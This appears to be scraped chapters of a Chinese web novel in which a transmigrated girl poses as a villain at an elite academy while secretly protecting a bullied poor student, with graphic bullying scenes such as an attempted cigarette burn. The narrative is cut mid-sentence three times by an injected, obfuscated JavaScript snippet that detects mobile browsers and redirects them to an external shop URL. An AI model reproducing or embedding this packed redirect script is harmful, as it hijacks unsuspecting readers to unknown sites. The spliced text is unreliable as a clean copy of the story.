她还熬夜学习怎么当坏反派,一下子学到三点多。 她给了裴凝三天的‘反思’时间,这三天安若不打算给裴凝找麻烦。 毕竟她身上的伤那么严重,血包都要吃点好的补补呢。 【谁说你没任务了,你知道主角受现在在做什么吗?】 一提到裴凝,安若才迷迷糊糊睁开眼,“做什么?” 【按照剧情来说,她被你霸凌后的那几天,还会被其他人欺负和折磨,现在大概率正在被欺负呢。宿主,你确定不去添把火吗?】 安若猛然睁开了眼,从床上坐了起来。 “你说的是真的吗?” 系统自信满满,【那当然,目前咱们的剧情偏离程度还是0%呢,完全在按照剧本来,宿主你过去再欺负欺负她,说不定剧情就能飞速递进,到时候争取让裴凝对秦嫣一见钟情,再见倾心,三见直接上高速!】 安若心脏猛烈跳动着。 她动作很快地下了床,脑海里有一瞬间在思索为什么系统要说目前还在按照剧本来。 但这个念头也只是在她心里一闪而过,毕竟有更重要的事情等着她。 裴凝手受了那么严重的伤,万一加重了怎么办。 她怎么去打工赚钱。 可不能再受伤了啊! 安若匆匆忙忙穿好校服后,就推门而出。 * 裴凝早上在早餐店帮完忙就背着书包来到了学校。 只是一路上走来,她都注意到周围人带着打量的目光。 “这就是那个新来的特困生啊?” “可不是吗,咱们赌一赌她能忍几天才会哭着退学。” “可是她看着好凶唉。” “那不更好了,越凶的狗被打死得越快。” “听说昨天还被人摁在厕所打了一顿...哈哈哈哈可惜我没去,不然也想添把火了。” ...... 裴凝的听力很好,那些话清晰地传入了她的耳朵里。 但她依旧背着书包,神色淡淡。 今天是第八天。 再坚持357天就结束了。 她只需要好好学习,争取拿到第一。 快要走到桌边时,裴凝的脚步忽然停顿住。 她垂眸看着自己桌子上用各种颜色的笔写出来的字。 死人、畜生滚出去、穷鬼、走狗...各种词汇。 不仅如此,她抽屉里的书也都不翼而飞。 而刚刚还热热闹闹的班级忽然在她进来后安静了许多。 所有人都戏谑地打量着她,想看看她的反应。 “昨天是谁啊这么有眼光,打了我们新来的特优生?” 一旁的B级学生一边打量自己的美甲一边调侃。 还有人跟腔,“是谁都行,毕竟咬人的狗不叫。” 所有人都带着恶意的目光看着裴凝。 每个来到枫丹的C级学生大多都不会忍受超过一个月的时间。 她们这样的学校,不需要这种脏兮兮臭烘烘的人进来。 哪怕裴凝身上没有任何的味道,但她们总是能闻到一股穷人的味道,这身校服恐怕是裴凝穿过的最好的材质了。 裴凝握着书包带的手微微收紧。 她抿了抿唇便一脸冷静地拿出纸巾开始擦拭桌面。 “谁让你擦了?” 书桌忽然被人踹倒在地,里面残留的不明液体全部都流了出来,一时间所有人都嫌恶地往后躲。 站在裴凝身边的是这个班级唯二的A级学生,她们看裴凝不爽很久了。 开学第一天那些B级生都巴巴凑上来给她们说些奉承话,唯独这个新来的C级生一个人坐在了角落里,一言不发。 跟个木头一样。 木头不就应该被打吗? 裴凝将纸巾攥在掌心,侧眸看着将桌子揣倒的人。 她的瞳孔颜色很深,像一滩死水。 “你这是什么眼神?” 一旁的狗腿忍不住,抬手就往裴凝的小腿上踹了一脚。 枫丹学院的秋装一共有4套校服,两套裙子,两套长裤。 裴凝今天穿着黑色的长裤制服,原本整洁的裤腿上瞬间落下了一个脏兮兮的脚印。 但她也是只踉跄了一下,很快就扶住桌子,稳住了身形。 “跟你说话呢,你刚刚那是什么眼神?” 一旁的狗腿狠狠抓住了裴凝的头发,另外的两个人默契地往她腿窝踹了一脚。 顷刻间,裴凝就狼狈地跪在了地上。 “刚刚让你听话一点,你还不肯。” 为首的女生手里夹了一根烟,她缓缓将雾气吐出,“现在我该给你一点什么惩罚好呢?泥巴狗。” 裴凝虽然此刻很是狼狈,但她的表情没有半分变化,看起来完全不像是会乖乖听话的样子。 “你这张脸倒是长得不错。” 女生笑着将烟灰弹在了裴凝脸上,“就是不知道烫一个洞会不会更好看。” 那一刻,裴凝才真正剧烈挣扎了起来。 她并非是在意自己的脸,而是不想有这种会刻在身上一辈子的耻辱。 “给我摁住她。” 为首的A级瞥了一眼一旁的手下,她们瞬间会意。 一群人死死摁住了裴凝,周围其他人要不就是玩手机,要不就是坐在桌面上看热闹。 明明是全国的高等学府,理应接受最高级的礼仪,但偏偏她们每个人的眼里都是冷漠和兴奋。 没有人会对裴凝伸出援手。 “别动,万一不小心戳进了你的眼球里可怎么办。” 那人涂着口红的唇微微扬起,将滚烫的烟头往裴凝的脸上摁了下去。 裴凝脸色更是苍白,她不断挣扎着,但偏偏无济于事。 只能眼睁睁看着那抹猩红离自己越来越近。 “停手!” 门口忽然发出声响。 所有人都往门口望了过去。 为首的A级学生眯了眯眼,“我当时谁呢?原来是咱们的安大小姐呀。” 最后几个字她说得很长很轻蔑。 毕竟待得就一点的都知道,安若的身世不值一提,说是下水道里的老鼠都不过分。 上不了台面的私生女。 但偏偏这样的人能被同样以A级的身份来与她们对话,这就很让人恼怒了。 “这不是你的教室吧,安大小姐平时这么闲的吗?” 她眸光流转,“还是说,你有别的想法?” 安若强装镇定地走到了裴凝身边,她居高临下的撇了裴凝一眼,“这个人欠我的帐还没算完呢,谁允许你碰她了?” 她用小皮鞋轻轻踹了踹裴凝的大腿,“滚起来,本小姐今天可不会放过你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209299|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快起来呀快起来呀。 安若在心里焦灼地喊。 刚刚看到别人要用烟灰烫裴凝的脸,她都要被吓死了。 谁知道裴凝只是抬头看了她一眼,随后又将视线转了回去,一动不动。 安若不可置信地瞪圆了眼睛。 裴凝疯了吗?还想不想要脸了? 她加重了力气踢了踢裴凝,“我让你起来。” 裴凝还是一言不发。 对她来说,落到谁的手里都没有什么不同。 左边是悬崖,右边也是悬崖。 为首的女生将她们的博弈都看在眼里,笑得很不善,“怎么办?” “我看她好像并不是很想跟你一起走啊。” 周围的其他人也都在安若和裴凝身边围了一个圈,每个人神色不悦地盯着她们。 安若的后背也是一身冷汗。 毕竟昨天至少都是B级,但今天这个班级可是有两个跟她一样的A级。 这样寓意就不同了。 安若要是被打了也没有办法找谁哭诉。 安若看着周围那如刀子一般的目光,心里直打颤,但还要努力维持声音的平稳,“我管她想不想,这是我先看中的。你欺负了,我等下玩什么?” 原主一直都是没什么文化,刁蛮任性的社会姐。 眼见她们还不动摇,安若强制性捏住了裴凝的下巴,逼迫她露出青紫一片的侧脸和脖颈。 上面全部都是触目惊心的痕迹。 “这就是证据。” 安若松开了手,“你们还要继续吗?还是说...” 她凤眸弯了弯,“你们就喜欢我玩剩下的东西?” “你!” 其中的一个A级生再也忍不住,抬手就要打安若。 但安若却双手环胸,毫不畏惧地跟她对视,精致漂亮的面孔上满是不屑和无所谓。 最终另一名A级生拦住了她,并且在她的耳边说了些什么。 那人才愤愤放下了手,骂了一句,“真晦气。” 安若听完后,垂眸踢了踢裴凝,“快起来,别让我再说第二遍。” 裴凝还是不动。 安若有点绷不住了。 快点带她离开吧,她真的很害怕这样的氛围。 但那么多人盯着她,她不能露怯,于是就弯下了腰,凑在裴凝耳边说了一句话。 “你妈妈喜欢看你的照片吗?” 果然那一瞬间,裴凝的气场瞬间变了。 她紧紧捏着拳头,抬眸望着安若那白皙纤细的脖颈,恨不得掐死她。 但最终她还是什么都没说,反而扶着一旁的墙壁,身形有些不稳地站了起来。 安若在旁边满脸冷酷,实际上心里急坏了,恨不得扶裴凝一把。 这才第几天,裴凝就被人欺负成这样。 都不是来上学的,这是来当受气包的。 等裴凝终于能够站稳后,安若才很高傲矜贵地扫了她一眼,“过来。” 裴凝垂着眼,静静跟在了她身后。 安若这才放下了心,转身就走。 为了防止裴凝逃跑在被别人揍,她干脆攥住了裴凝的领带。 这下既能起到羞辱作用,又能让其他人知道裴凝是安若的猎物。 以后估计能给裴凝减少很多麻烦。 枫丹伯格所有学生都看到那个脾气不好的安大小姐像狗一样拽着贫困生的黑色领带。 就像是拽着自家的狗一样。 但与众不同的是,所有人都能看出来那是一条不乖的狗,眼神凶狠地仿佛下一面就会死死咬住安若的脖颈,将她咬断气。 5. 会长的小狗腿(五) 枫丹的每一位A级生都有属于自己的休息室供她们玩乐。 安若借着原主的记忆找到了那个休息室,直到到了门口她才松开了裴凝的领带,命令道,“进去。” 裴凝静默着把手搭在了门把手上,等开门的那个瞬间,她若有所感的往门上看。 她大概能够猜到等下会经历什么。 她就知道,怎么选都只有死路一条。 裴凝这样想着,缓缓打开了门。 只不过想象中的冰凉和湿润没有来临。 裴凝将门半开,视线落在了房顶。 空空如也,没有水盆。 她的脸色瞬间变得很差劲。 安若感受到还有一些视线落在她们身上,她快要装不下去了。 见裴凝迟迟不肯进去,忍不住催促道,“还不快点进去。” 裴凝偏过头,深深瞥了她一眼后毅然决然地推开了门。 果不其然,当她看清里面防止的东西时,裴凝浑身僵硬。 安若见她终于走进去了,也在心里松了一口气,跟在她身后进了屋子。 结果一进去,安若也愣住了。 只见一旁的半边墙都堆积着不明所以的器具,甚至有些上面还带着明晃晃的使用过的器具。 甚至最角落还安置了一张铁床。 不过上面有四个手环,安若看不懂这到底是做什么的。 裴凝近乎屈辱地侧头望着她。 安若:QAQ 她后背满是冷汗,只祈求裴凝不要再这么看着她了。 她也不知道这里面会有这些啊。 可是既然来了,安若也不能露怯,她坐在一旁的柔软的沙发上,很尖酸刻薄地说,“刚刚我叫你你为什么不来,就不怕我生气吗?” 裴凝直直站在她面前,她嘴唇动了动,最终想到妈妈还是不情不愿地开了口。 “对不起,是我的错。” 安若如果是猫,估计此刻耳朵都要竖起来了。 裴凝居然跟她道歉了。 明明她才是霸凌的人。 该道歉的应该是她才对。 裴凝见安若没有说话,还以为是她没有消息。 她双手紧紧攥着,想象着掐死安若的手感,语气却很温和,就像被彻底驯服的狼一般,“请你惩罚我。” 安若:? 她凤眸瞪圆,有点没有预料到事情怎么会是这个走向。 惩罚...怎么惩罚。 她不会啊QAQ 不过安若很快就镇定下来了。 大不了把皮球再踢回去。 “既然你这么想要惩罚,我也不是不行。” 安若抬了抬下巴,“那边的东西,你自己选一个吧。” 她刚刚看过了,那里的东西也不全是凶器,还是有不少没有杀伤力的东西的。 裴凝肯定会选没有杀伤力的,到时候既能欺负人,还能完成任务。 一举两得。 而她没有注意到,裴凝的脸色更沉了。 她缓缓走在那些器具旁,指尖都在微微发抖。 这对她来说只是第二个地狱而已。 安若是不会放过她的。 最终裴凝缓缓拿起了一旁的锤子,缓缓走向了安若。 她几乎想直接把手里的东西狠狠砸穿安若的脑袋,可...她如果进去了,没人会照顾妈妈。 这样想着,裴凝才暂时压下了那股冲动。 她将锤子放在了安若手里,“选好了。” 安若看着自己手里的锤子,一时半会儿没说出来话。 【统统,这是锤子吧?】 她在脑海里问。 系统暗自感慨,【不亏是主角受,对自己就是狠。】 安若用眼神谴责裴凝。 你笨蛋呀,怎么不知道给自己选一个安全一点的。 这不是为难我吗? 但这个时候让裴凝再去换肯定会ooc,安若看着手里的锤子犯了难。 她的视线从锤子上缓缓转移到裴凝放在两侧的手,再落到一旁桌子上放的东西,忽然有了主意。 她扬了扬下巴,“你的手看起来不错。” 裴凝手掌紧紧攥在一起,脸色差到不能再差。 安若这是要让她直接残废吗? 她的手不能废... 裴凝抿了抿唇,过了好久才艰涩开口,“可以用别的地方吗?” 安若想了想,摇了摇头,“不可以。” 她看着安若缓缓起身,走到了一个橱柜面前拿了一袋东西静静走了过来时心里就泛起了一阵恶寒。 等下的场面,她还能吃得进去东西吗? 裴凝脑海里想了非常多东西,但她还是认命般的沉默着。 “开始吧。” 安若把那一袋东西扔在桌子上,“自己来。” 裴凝垂眸看过去的时候神情一愣。 那居然是一大袋核桃。 安若坐在沙发上,左腿轻轻搭在右腿上,白皙的小腿一晃一晃的。 “还不快点,你是想饿死我吗?” 裴凝这回是彻彻底底愣住了。 她不明所以地看了看安若,又看了看桌上的核桃和锤子。 所以...安若只是让她敲核桃吗? 不对。 裴凝知道,不可能会这么简单。 说不定这个核桃里藏着什么东西也说不定。 可她还是拿起了锤子,一拳敲了下去。 ...这颗只是普普通通的核桃。 裴凝又将目光转移到了下一个,敲了下去。 ...也还是普普通通的核桃。 裴凝总觉得有鬼,一个一个往下敲。 安若就在旁边假装玩手机,实际上一直在初始页面敲来敲去。 系统不理解:【宿主,你废了这么大的劲就是要让她给你敲核桃?】 安若不解,【这可是年级第一的手,你想想看,本来是用来做题的手现在要给我敲核桃,不是很屈辱的事情吗?】 系统听完点了点头:【对哦,宿主,还是你厉害。】 一人一统就这么静悄悄地打量着裴凝敲核桃。 裴凝的手速很快,敲出来的核桃仁也很饱满。 安若计算着时间差不多了,才开了尊口,“好了好了,差不多了。” 裴凝这才放下了锤子,静静站在一边。 看着安若把那些核桃仁装进了一个小罐子里。 但下一秒,小罐子就扔在了她身上。 裴凝下意识接住,不明所以。 “你不会以为这是给我吃的吧?” 安若尖酸刻薄地说,“这种东西也就你们这些穷人喜欢吃。” 她撩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209300|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了撩头发,“这个你要是能今天之内吃完,我就不生你气了。” 这样心理和生理的双重羞辱,对裴凝来说肯定是毁灭性的打击。 安若说完就发现裴凝没有回答。 她顿了一下,以为是自己说的太难以达成了,于是下意识说,“明天也行。” 裴凝抬眼看着她,没有说话。 她的眼睛实在是太透彻了,让安若根本不敢跟她过多对视,只能移开了视线,“这种廉价的东西也就配你这样的胃才最合适。” 裴凝看着自己手里的罐头,还是没有动。 今天的一切都来得太过于轻易,这让她不可置信。 安若绝对不是那么轻而易举就会放过她的人。 从小到大,裴凝挨过的打不计其数。 没有人会这么轻易地放过她。 安若更不会。 说不定这是过了期的核桃也说不定。 裴凝收下了手里的东西。 看到她收下后,安若才悄悄松了一口气。 多吃点补一补吧,毕竟这个学校神经病还挺多的,她能做的也很有限。 “没事的话我就回去了。” 裴凝说。 安若比她还想逃走,闻言便点了点头,“好。” 裴凝微微皱眉。 今天发生的一切都太顺遂,太诡谲了。 她刚转过身时,安若忽然又想起了什么,出声喊住了她,“等等。” 裴凝脚步一顿。 她就知道还有第二关。 有些霸凌者只喜欢使用蛮力,但有些人,反而喜欢不断给对方希望,然后再一点一点,残忍地将希望撕碎。 裴凝转过了身,“还有什么事?” 安若刚刚忽然想起来裴凝所在的班级可都不是什么善茬,她要是现在回去肯定会被欺负得不成样子的。 她可以变得很坏很坏,裴凝由她来欺负就好了。 可不能交到别人手里。 “你那个教室,以后不用回去了。” 裴凝秀气的眉头皱了起来,“什么意思?” 安若咳了一声,她从沙发上站了起来,缓缓走向裴凝,“意思就是,以后的日子你需要时时刻刻跟在我的身边。” 她走到裴凝面前,拽住她的领带,逼迫她看向自己。 裴凝那张冷淡的面孔落在安若的面前。 安若手心冒汗,但还是兢兢业业地说着台词。 “毕竟刚刚的举动,大家可是都看到了。” 她粉嫩的唇瓣微微勾起,“不想让别人在你身上留下疤痕,就得乖乖听我的话,懂了吗?” 裴凝咬紧牙关,满脸戾气。 安若在心里疯狂求助系统,【九九,等下她揍我怎么办?】 系统义正言辞,【没事的宿主,我可以为你屏蔽痛觉神经,这样打起来就不痛了。】 裴凝就知道一切都没有这么简单。 她垂眸看着安若那张可憎又漂亮的脸许久,才缓缓开口,“听到了。” 烟头只是在她的身体上留下印记。 而安若则是将她的灵魂也打下了屈辱的烙印。 所有人都会知道,她是安若的走狗,所有人都会戳她的脊梁骨。 可是为了那张照片,为了妈妈... 裴凝的拳头紧了又松,最终双手缓缓松开,不再挣扎。 6. 会长的小狗腿(六) 安若没料到裴凝会这么快的就答应,她卡了一下壳,表面上的邪恶神情差点没掩饰住。 她虎着脸,“你最好乖乖听话,不然我不会放过你的。” 裴凝早就对这些话有些免疫了。 识时务者为俊杰,她现在最重要的尊严。 如果妈妈能好,被别人叫做是狗也没有事情。 “我会听话的。” 裴凝面无表情地说。 安若被她看得心里发怵,暗暗吐槽:完全没有好吗? 她非常怀疑,自己如果不是手里拿捏着裴凝的照片,如果裴凝的妈妈真的离世了,她会不会跟自己鱼死网破。 安若知道裴凝并没有服气,她只是在默默忍受,等着未来翻身的时候给自己致命一击。 但这也没有办法,她要做的就是要让裴凝讨厌她,越讨厌越好。 “那就跟我回教室。” 安若转过身,用命令的口吻说。 裴凝毫不迟疑地跟在她身后。 对她来说,换个地方也不过是换个被霸凌的场地。 只是可惜了她的那些书本。 如果书被弄丢了,再补缴需要很多的钱。 裴凝现在拿不出钱。 果不其然,她一进教室就被其他人盯上了。 “若姐。” 曾经霸凌过裴凝的人笑着问,“怎么把她带来了?” 其他人默默歪了歪脑袋,摆出了攻击的姿势。 每个班级大部分都是B级,少数会有A级,S级更是很少来上课。 安若所在的班级只有她一个A级,所以她就成为了所有人谄媚的对象,当初霸凌过裴凝的人大多数也都在这个班级。 她们都以为安若这是把新玩具给带回来了。 安若稍有厌烦地皱了皱眉头,但语气还是很轻快,“我说话她敢不听吗?” 那些人笑了,“那是,这种C级生一个个看起来好像很倔,其实骨头酥得不行。” 裴凝依旧垂着眼,没有开口。 安若指了指桌旁的空桌子,“你以后就坐在那里,挨着我坐。” 裴凝没有半分抗拒的意思,她静静嗯了一声。 听话得不可思议。 安若还想说什么时,门口就传来了脚步声。 “大小姐们,能开始学习了吗?” 带着眼镜,穿着制服的女老师抱着课本走了进来,所有人一哄而散。 安若也乖乖坐在了座位上。 她的位置在最里面,裴凝的在最外面。 安若回到位置上后,发现原主的桌子简直...不知道怎么说。 上面摆着各种各样的化妆品,还有小纸条和情书,抽屉里也是这样,还夹杂着几本恋爱小说。 安若:“......” 【这个原主也是个人物。】 她对系统吐槽道。 安若有些不理解,这些贵族学院的师资这么好,难道不应该好好学习么? 怎么来的这两个班级都是这么不学无术。 她这样想着,又不自觉看了看坐在自己身边校服穿得板板正正,一丝不苟的裴凝,眼里不自觉带上了一丝赞许。 这才是根正苗红的好少年啊。 * 第三次看她了。 裴凝在心里想,这次是打算做什么呢? 直接在教室把她凳子揣倒出糗还是其他的事? 裴凝书包里只有几套基础试卷和课本,原本应该有的书本都被那些人丢掉了。 她现在只能在A4纸上写下知识点,与此同时还要提防安若和周围其他的人。 忽然,她的余光注意到安若动了。 裴凝写字的速度变得缓慢,不知道安若要怎么折腾她。 一本洁白如新的书扔在了她面前。 裴凝愣了一下,随即看着安若,目光沉沉。 安若被她看得很心虚。 这可是她想了好久的惩罚方式呢,难道真的太过分了吗。 “看我干什么。” 安若强装镇定,“还不快点给本小姐记笔记。” 她垂眸看了一眼裴凝早就被摔得不成样子,字迹都断断续续的笔,伸出手将它抽了出来,又把桌兜里的高价水笔扔在了她桌上,“字记得写得好看点,要是写不好看中午你就别想吃饭!” 在桌上讲课的老师见到她们那边的动静,还刻意放缓了声音。 这群看似遭受过良好教育的小孩实际上比谁都残忍。 但她只是一个没什么背景的老师,做不了什么。 裴凝听完后没有露出半分不悦,反倒是拿起了那支售价四位数的水笔在书上写了起来。 她的字迹很好看,笔锋凌厉漂亮,甚至还得过国家一等奖。 安若在旁边看着忍不住感慨裴凝的字真的好漂亮。 但她的注意力很快就被别的拉走了。 因为原主的桌子实在是太杂乱了,什么东西都有。 安若没有办法忍受在这么一个脏乱的地方坐着,于是就拿出湿巾开始擦拭了起来。 安若辛辛苦苦整理了两节课,终于让书桌能看了。 现在里面除了必要的书本和一些其他的用品外就什么都不剩了。 等她终于抬起目光的时候,老师已经快把课讲完了。 这节是物理课。 安若光是看着,目光就有点涣散。 还是一如既往的难。 为什么跟公式上写的不一样? 安若看不懂,于是她偏过头看了看裴凝的笔记,震惊地发现她也没有怎么记笔记。 她还以为裴凝是被她吓得不敢写了。 “你...你怎么不写?” 安若压低了声音问。 裴凝转头看着她,语气很平淡,“因为都会。” 安若被她理直气壮到了。 可恶的学神。 “你怎么跟我若姐说话呢?” 坐在裴凝后桌的女生忍不住了,她抬脚狠狠揣着裴凝的凳子。 台上的老师顿时噤声。 安若内心都快崩溃了。 你们不要再打了。 让裴凝好好学习一会儿不行吗? 你们不学她还要学呢。 裴凝坐在座位上没动,她依旧拿着笔,低头看着题。 安若就知道裴凝心里窝着火。 但这个场景她也不能维护得太明显。 “若姐,你想怎么教训她?” 后排的女生问。 安若抓紧了裙摆,她表面很是淡定,“既然她敢说简单,那你们就pk做题。要是她输了,就任由你们处置。” 她说着,又看了看周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209301|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围的小妹,“你们谁愿意来?” 刚刚还很义愤填膺的人群此刻忽然像是被戳破的气球。 她们你看看我,我看看你,谁都没有说话。 “呃...” “你上?” “你来吧你来吧。” 虽然她们物质上瞧不起裴凝,但是知识上她们还是畏惧的。 不过有什么了不起的,不就是会点破知识吗?家里不还是一样的穷。 她们无不恶毒地想。 眼见没人敢跟裴凝硬碰硬,安若就只能装作很震惊地问,“难道你们刚刚都没在听课吗?” 其余人内心腹诽:你刚刚不也没听吗? 安若听完后神色很严肃,“以后上课都给我认真听讲,你们怎么能比裴凝差?” 说到最后,甚至还夹带了一丝痛心。 这个年纪的人都是很容易被煽动的,有些人一听就很坚定地说,“若姐你放心,我们肯定好好学,碾压她。” 谁不知道枫丹的成绩排行里,书面成绩占50%,专业课占50%。 就算她们书面打不过裴凝,也能在专业课上超越她一大截。 安若很是满意地说,“要是你们谁能在每月的月考里拿第一,我就答应你们一个条件。” 裴凝依旧低头做题,她当然知道安若的‘你们’并不包括她。 她只不过是这些贵族小姐们追逐把玩的工具罢了。 那些人一听瞬间眼里放光。 谁不想跟A级攀上关系?而且还是安若。 安若的身世虽然被她们耻笑,但不可否认她的利用价值,而且听说会长跟她也有密切的接触,总之讨好安若百利而无一害。 安若从指头缝里流一点出来就够她们用的了。 周围发出了此起彼伏的承诺声。 裴凝只觉得好笑。 安若蠢,那些人也蠢。 一天天不知道在欢呼什么。 下课铃声刚好也在这一刻响了,所有人成群结队去了食堂。 安若也悄悄松了一口气。 她侧眸看了看裴凝,发现对方还在写题,完全没有吃饭的意思。 安若没忍住开口,“你怎么还坐着?” 裴凝笔都没停,“学习。” “.....” 不亏是学霸。 原著里,裴凝几乎不去食堂,因为就算是平民餐厅的价格都贵得吓人,一碗面50打底。 这都相当于裴凝一周多的伙食费了。 所以她一般会在早上的早餐店老板那里拿一点剩下的包子和粥,中午等没人的时候再偷偷坐在角落里吃完。 几乎天天如此,夏天则是更难熬,东西一般都会变质。 也是在后期的追妻火葬场里,秦嫣发现裴凝几乎快要演变为胃癌时追悔莫及,哭着求裴凝不要离开她。 裴凝躺在病床上带着呼吸机的样子渐渐与她现在的样子重合。 但现在的裴凝面色红润,还没有那些毛病。 “不许写了。” 一只白嫩的手狠狠拍在了桌子上,裴凝顿了一下,掀起眼皮看她,桃花眼的弧度很是锐利。 安若被她的眼神吓到了,但她还是要扮演自己的恶毒人设。 “本小姐饿了,要去吃饭。” 她小脸紧绷,“你跟着我。” 7. 会长的小狗腿(七) 枫丹的食堂一共有5层,层数越高人越少,价格越昂贵。 所以大多数的B级和C级生都会选择在二、三层用餐,A级则是在四层。 她们每天的课程都不紧凑,更多的时间就是聚在一起闲谈和参加社团。 中午对她们来说更像是放松时间。 于是当安若带着裴凝走进食堂时,所有人都不约而同地将目光落在了她们身上。 毕竟裴凝的黑色制服在一众蓝色制服中显得格外刺眼。 安若当然知道她们在看自己,于是她就更不能露怯。 她必须让所有人知道裴凝是她看中的猎物,这样才能减少其他人对裴凝的伤害。 她看中的人只有她能动。 安若一进去的时候还有些晃眼。 这哪里是什么食堂,说是五星米其林餐厅她也行,一进来就有一股金钱的味道。 但她还是双手环胸,一脸倨傲地挑了个座位座下。 裴凝就站在她旁边,脸上没什么表情。 周围的人都在纷纷打量。 安若合上了书本,开始自己的表演。 她凤眸恶狠狠瞪了裴凝一眼,“给本小姐倒水啊,你是要渴死我吗?” 裴凝手微微抬起,替安若倒了一杯花茶。 安若装模作样地抿了一口茶,结果发现是烫的。 她舌头缩了一下,眼睛有点红。 好烫好烫。 合理怀疑裴凝是不是故意的。 但安若刚刚欺负过人,她也心虚,只能默默低头翻菜单。 越看她越惊讶。 在这个餐厅里的食物的价格好像都只是一串随意的符号。 谁家一碗意面就要接近四位数啊? 安若翻了翻,有点肉痛。 这餐厅来坑人的吧。 她也是只在心里吐槽了一下,表面上还是那个矜贵难缠的大小姐。 最终安若点了两份意面和两份寿司。 等餐的期间,安若总觉得有人把目光落在她们身上,但裴凝就在旁边站着,目不斜视。 安若偷偷用视线打量着她的下巴和脖颈,上面的伤一点都没消。 这人回去没有涂药吗? 这么瘦,还不爱惜身体,也难怪以后烙下病根子。 “来,您的餐。” 服务员将安若点好的东西一一摆放在桌面上,安若下意识对她说了句:“谢谢。” 服务员愣了一下,似乎没有料到安若会这么说,她局促地说,“不用谢,您慢用。” 在这个学校,会主动道谢的学生真的不多见。 安若看着桌前的东西,拿出叉子轻轻卷了点意面放进嘴里尝了尝。 ...跟她网购的意面完全没有区别。 好坑人啊。 她吃饭的速度偏慢,安若嘴巴小,稍微吃一点东西都会鼓起来。 常年控制身材也让她的咀嚼速度很慢。 安若吃了几口就放下了叉子。 她喝了一口花茶,“剩下的本小姐赏给你了。” 裴凝眉头微微拧起,她没有动。 安若抬眼看她,带着些许愠怒,“你没听清吗?你这种平民只适合吃我剩下来的东西。” 其实安若怕裴凝会嫌弃她,所以她刚刚用的叉子都是公用的,那两盘意面和寿司都是干干净净的。 裴凝还是没有动。 周围的人目光越来越热切,安若用小皮鞋轻轻踹了一下裴凝的小腿,“听到没有?还想被本小姐揍吗?你这个小土狗。” 或许真的是她的话产生了作用,裴凝终于动了。 她坐在安若的对面,动作缓慢地拿起了叉子,缓缓将意面送进了嘴里。 裴凝吃饭的时候很安静,不会发出半点声音。 或许是真的很排斥安若,她吃饭的速度甚至比安若还慢。 安若本来还可以装做冷酷,可是她忽然觉得有点奇怪。 【九九,你觉不觉得裴凝现在好像有点红?】 系统凑上去看了半天,【好像是真的耶。】 安若更疑惑了,吃个饭怎么会脸红。 但渐渐的,她发现裴凝的脖子和手腕也红了。 ...不对! 裴凝对意面里的成分过敏! 安若不敢再让裴凝吃了,她伸手打掉了裴凝手里的叉子,“不许吃了。” 裴凝此刻侧脸和嘴唇微微泛着肿,她斯斯文文咽下了嘴里的东西,一脸麻木地看着安若。 安若惊得心脏砰砰乱跳。 裴凝是笨蛋吗?为什么明明过敏还要吃? “那我可以走了吗?” 裴凝问。 安若抓紧裙摆,佯装镇定道,“赶紧走,别脏了我的眼。” 对不起TT赶紧去医务室看看吧。 她真的不知道裴凝对这些过敏。 裴凝听完后没什么表情地起身,其他看热闹的人看到她脸上的东西后都倒吸了一口凉气。 虽然这个特困生长得很美很出众,可是现在这些印子也太骇人了。 她们又不约而同将视线转移到安若身上。 果然是安若能做出来的事情。 裴凝这是被安若盯上了。 安若本来就有些六神无主,在她慌神的时候外面传来了声音。 “有人晕倒了!” 安若克制住想要冲上去的脚步,故意双手环胸,一步一步走过去,当她看清面前的一切后表情很是慌乱。 只见裴凝一头栽倒滚下了楼梯,双眸紧闭。 而一旁的所有学生都用一种很冷漠的眼神看着这里发生的一切。 还有人一脸嫌弃地捂住了眼,“咦,好吓人啊。” “保安呢,还不快点把人弄出去,这是吃饭的地方,我今天都被弄得没心情吃饭了。” 安若保持着冷酷的神情看着这里发生的一切,内心却很是说不上来的滋味。 这也太没人情味了,这是一个活生生的人。 贵族学院不应该德智体美劳兼得吗?为什么她到现在为止只看到了霸凌、自私和冷漠。 “老大,我就说你怎么带她来食堂了,原来是打算这样做啊。” 同班的小狗腿冒出了头,笑嘻嘻地说。 她还以为安若今天改性了呢。 安若瞥了她一眼,“你,去把她扛起来,送去医务室。” 小狗腿愣了一下,很是不理解地问,“为什么?让她这样不是很好吗?” 反正死了人也不会有人追究。 安若轻轻一笑,“她要是死了我还玩什么?快去。” 小狗腿一听立马会意,她点了点头,“保证完成任务!” 看着她把人扛起来后,安若才在心里松了一口气。 她此刻才发现自己的后背满是冷汗。 【宿主,你这一招真厉害啊!】 系统夸赞道,【这下剧情更丰满了,咱们离成功更近了一步!】 